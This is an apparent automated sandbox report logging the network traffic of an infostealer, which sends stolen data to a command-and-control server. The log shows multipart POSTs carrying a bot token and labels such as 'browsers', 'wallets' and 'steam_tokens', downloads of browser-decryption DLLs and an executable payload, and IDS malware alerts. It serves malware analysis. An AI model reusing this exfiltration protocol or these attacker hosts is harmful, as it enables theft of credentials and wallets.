4b 46 48 44 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 4a 4b 45 48 43 41 4b 46 43 41 4b 46 48 44 41 41 41 2d 2d 0d 0a Data Ascii: ------EGIJKEHCAKFCAKFHDAAAContent-Disposition: form-data; name="token"8d866d2e88825c8ea68f833faa75b8cd2ea8c9090a91338127456fae8f22ff679b66a328------EGIJKEHCAKFCAKFHDAAAContent-Disposition: form-data; name="message"browsers------EGIJKEHCAKFCAKFHDAAA--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CGIDAAAKJJDBGCBFCBGIHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 47 49 44 41 41 41 4b 4a 4a 44 42 47 43 42 46 43 42 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 64 38 36 36 64 32 65 38 38 38 32 35 63 38 65 61 36 38 66 38 33 33 66 61 61 37 35 62 38 63 64 32 65 61 38 63 39 30 39 30 61 39 31 33 33 38 31 32 37 34 35 36 66 61 65 38 66 32 32 66 66 36 37 39 62 36 36 61 33 32 38 0d 0a 2d 2d 2d 2d 2d 2d 43 47 49 44 41 41 41 4b 4a 4a 44 42 47 43 42 46 43 42 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 43 47 49 44 41 41 41 4b 4a 4a 44 42 47 43 42 46 43 42 47 49 2d 2d 0d 0a Data Ascii: ------CGIDAAAKJJDBGCBFCBGIContent-Disposition: form-data; name="token"8d866d2e88825c8ea68f833faa75b8cd2ea8c9090a91338127456fae8f22ff679b66a328------CGIDAAAKJJDBGCBFCBGIContent-Disposition: form-data; name="message"plugins------CGIDAAAKJJDBGCBFCBGI--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FHJDGHIJDGCBAAAAAFIJHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 48 4a 44 47 48 49 4a 44 47 43 42 41 41 41 41 41 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 64 38 36 36 64 32 65 38 38 38 32 35 63 38 65 61 36 38 66 38 33 33 66 61 61 37 35 62 38 63 64 32 65 61 38 63 39 30 39 30 61 39 31 33 33 38 31 32 37 34 35 36 66 61 65 38 66 32 32 66 66 36 37 39 62 36 36 61 33 32 38 0d 0a 2d 2d 2d 2d 2d 2d 46 48 4a 44 47 48 49 4a 44 47 43 42 41 41 41 41 41 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 46 48 4a 44 47 48 49 4a 44 47 43 42 41 41 41 41 41 46 49 4a 2d 2d 0d 0a Data Ascii: ------FHJDGHIJDGCBAAAAAFIJContent-Disposition: form-data; name="token"8d866d2e88825c8ea68f833faa75b8cd2ea8c9090a91338127456fae8f22ff679b66a328------FHJDGHIJDGCBAAAAAFIJContent-Disposition: form-data; name="message"fplugins------FHJDGHIJDGCBAAAAAFIJ--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FCGCFCAFIIEBGCBFCAKKHost: 185.215.113.206Content-Length: 6771Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GDAEBKJDHDAFIECBAKKJHost: 185.215.113.206Content-Length: 991Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HCBFIJJECFIEBGDGCFIJHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 43 42 46 49 4a 4a 45 43 46 49 45 42 47 44 47 43 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 64 38 36 36 64 32 65 38 38 38 32 35 63 38 65 61 36 38 66 38 33 33 66 61 61 37 35 62 38 63 64 32 65 61 38 63 39 30 39 30 61 39 31 33 33 38 31 32 37 34 35 36 66 61 65 38 66 32 32 66 66 36 37 39 62 36 36 61 33 32 38 0d 0a 2d 2d 2d 2d 2d 2d 48 43 42 46 49 4a 4a 45 43 46 49 45 42 47 44 47 43 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 43 42 46 49 4a 4a 45 43 46 49 45 42 47 44 47 43 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 48 43 42 46 49 4a 4a 45 43 46 49 45 42 47 44 47 43 46 49 4a 2d 2d 0d 0a Data Ascii: ------HCBFIJJECFIEBGDGCFIJContent-Disposition: form-data; name="token"8d866d2e88825c8ea68f833faa75b8cd2ea8c9090a91338127456fae8f22ff679b66a328------HCBFIJJECFIEBGDGCFIJContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------HCBFIJJECFIEBGDGCFIJContent-Disposition: form-data; name="file"------HCBFIJJECFIEBGDGCFIJ--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KJEHJKJEBGHJJKEBGIECHost: 185.215.113.206Content-Length: 3087Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECGDBAEHIJKKFHIEGCBGHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 43 47 44 42 41 45 48 49 4a 4b 4b 46 48 49 45 47 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 64 38 36 36 64 32 65 38 38 38 32 35 63 38 65 61 36 38 66 38 33 33 66 61 61 37 35 62 38 63 64 32 65 61 38 63 39 30 39 30 61 39 31 33 33 38 31 32 37 34 35 36 66 61 65 38 66 32 32 66 66 36 37 39 62 36 36 61 33 32 38 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 44 42 41 45 48 49 4a 4b 4b 46 48 49 45 47 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 44 42 41 45 48 49 4a 4b 4b 46 48 49 45 47 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 44 42 41 45 48 49 4a 4b 4b 46 48 49 45 47 43 42 47 2d 2d 0d 0a Data Ascii: ------ECGDBAEHIJKKFHIEGCBGContent-Disposition: form-data; name="token"8d866d2e88825c8ea68f833faa75b8cd2ea8c9090a91338127456fae8f22ff679b66a328------ECGDBAEHIJKKFHIEGCBGContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------ECGDBAEHIJKKFHIEGCBGContent-Disposition: form-data; name="file"------ECGDBAEHIJKKFHIEGCBG--
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDHCFIJEGCAKJJKEHJJEHost: 185.215.113.206Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KFIJEGCBGIDGHIDHDGCBHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 46 49 4a 45 47 43 42 47 49 44 47 48 49 44 48 44 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 64 38 36 36 64 32 65 38 38 38 32 35 63 38 65 61 36 38 66 38 33 33 66 61 61 37 35 62 38 63 64 32 65 61 38 63 39 30 39 30 61 39 31 33 33 38 31 32 37 34 35 36 66 61 65 38 66 32 32 66 66 36 37 39 62 36 36 61 33 32 38 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 4a 45 47 43 42 47 49 44 47 48 49 44 48 44 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 4a 45 47 43 42 47 49 44 47 48 49 44 48 44 47 43 42 2d 2d 0d 0a Data Ascii: ------KFIJEGCBGIDGHIDHDGCBContent-Disposition: form-data; name="token"8d866d2e88825c8ea68f833faa75b8cd2ea8c9090a91338127456fae8f22ff679b66a328------KFIJEGCBGIDGHIDHDGCBContent-Disposition: form-data; name="message"wallets------KFIJEGCBGIDGHIDHDGCB--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IECGHJKKJDHIEBFHCAKEHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 45 43 47 48 4a 4b 4b 4a 44 48 49 45 42 46 48 43 41 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 64 38 36 36 64 32 65 38 38 38 32 35 63 38 65 61 36 38 66 38 33 33 66 61 61 37 35 62 38 63 64 32 65 61 38 63 39 30 39 30 61 39 31 33 33 38 31 32 37 34 35 36 66 61 65 38 66 32 32 66 66 36 37 39 62 36 36 61 33 32 38 0d 0a 2d 2d 2d 2d 2d 2d 49 45 43 47 48 4a 4b 4b 4a 44 48 49 45 42 46 48 43 41 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 49 45 43 47 48 4a 4b 4b 4a 44 48 49 45 42 46 48 43 41 4b 45 2d 2d 0d 0a Data Ascii: ------IECGHJKKJDHIEBFHCAKEContent-Disposition: form-data; name="token"8d866d2e88825c8ea68f833faa75b8cd2ea8c9090a91338127456fae8f22ff679b66a328------IECGHJKKJDHIEBFHCAKEContent-Disposition: form-data; name="message"files------IECGHJKKJDHIEBFHCAKE--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AKKECAFBFHJDGDHIEHJDHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 4b 4b 45 43 41 46 42 46 48 4a 44 47 44 48 49 45 48 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 64 38 36 36 64 32 65 38 38 38 32 35 63 38 65 61 36 38 66 38 33 33 66 61 61 37 35 62 38 63 64 32 65 61 38 63 39 30 39 30 61 39 31 33 33 38 31 32 37 34 35 36 66 61 65 38 66 32 32 66 66 36 37 39 62 36 36 61 33 32 38 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4b 45 43 41 46 42 46 48 4a 44 47 44 48 49 45 48 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4b 45 43 41 46 42 46 48 4a 44 47 44 48 49 45 48 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4b 45 43 41 46 42 46 48 4a 44 47 44 48 49 45 48 4a 44 2d 2d 0d 0a Data Ascii: ------AKKECAFBFHJDGDHIEHJDContent-Disposition: form-data; name="token"8d866d2e88825c8ea68f833faa75b8cd2ea8c9090a91338127456fae8f22ff679b66a328------AKKECAFBFHJDGDHIEHJDContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------AKKECAFBFHJDGDHIEHJDContent-Disposition: form-data; name="file"------AKKECAFBFHJDGDHIEHJD--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DAKJDAAFBKFHIEBFCFBKHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 41 4b 4a 44 41 41 46 42 4b 46 48 49 45 42 46 43 46 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 64 38 36 36 64 32 65 38 38 38 32 35 63 38 65 61 36 38 66 38 33 33 66 61 61 37 35 62 38 63 64 32 65 61 38 63 39 30 39 30 61 39 31 33 33 38 31 32 37 34 35 36 66 61 65 38 66 32 32 66 66 36 37 39 62 36 36 61 33 32 38 0d 0a 2d 2d 2d 2d 2d 2d 44 41 4b 4a 44 41 41 46 42 4b 46 48 49 45 42 46 43 46 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 44 41 4b 4a 44 41 41 46 42 4b 46 48 49 45 42 46 43 46 42 4b 2d 2d 0d 0a Data Ascii: ------DAKJDAAFBKFHIEBFCFBKContent-Disposition: form-data; name="token"8d866d2e88825c8ea68f833faa75b8cd2ea8c9090a91338127456fae8f22ff679b66a328------DAKJDAAFBKFHIEBFCFBKContent-Disposition: form-data; name="message"ybncbhylepme------DAKJDAAFBKFHIEBFCFBK--
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGDBAFHJJDAKEBGCFCBGHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 47 44 42 41 46 48 4a 4a 44 41 4b 45 42 47 43 46 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 64 38 36 36 64 32 65 38 38 38 32 35 63 38 65 61 36 38 66 38 33 33 66 61 61 37 35 62 38 63 64 32 65 61 38 63 39 30 39 30 61 39 31 33 33 38 31 32 37 34 35 36 66 61 65 38 66 32 32 66 66 36 37 39 62 36 36 61 33 32 38 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 42 41 46 48 4a 4a 44 41 4b 45 42 47 43 46 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 42 41 46 48 4a 4a 44 41 4b 45 42 47 43 46 43 42 47 2d 2d 0d 0a Data Ascii: ------EGDBAFHJJDAKEBGCFCBGContent-Disposition: form-data; name="token"8d866d2e88825c8ea68f833faa75b8cd2ea8c9090a91338127456fae8f22ff679b66a328------EGDBAFHJJDAKEBGCFCBGContent-Disposition: form-data; name="message"wkkjqaiaxkhb------EGDBAFHJJDAKEBGCFCBG--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 13.107.246.40 13.107.246.40
Source: Joe Sandbox View	IP Address: 13.107.246.40 13.107.246.40

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View

JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:49762 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:62143 -> 185.215.113.16:80

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 23_2_00C1BE30 Sleep,InternetOpenW,InternetConnectA,HttpSendRequestA,InternetReadFile,

23_2_00C1BE30

Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIkqHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc=Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIkqHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1Host: apis.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIkqHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1Host: api.edgeoffer.microsoft.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
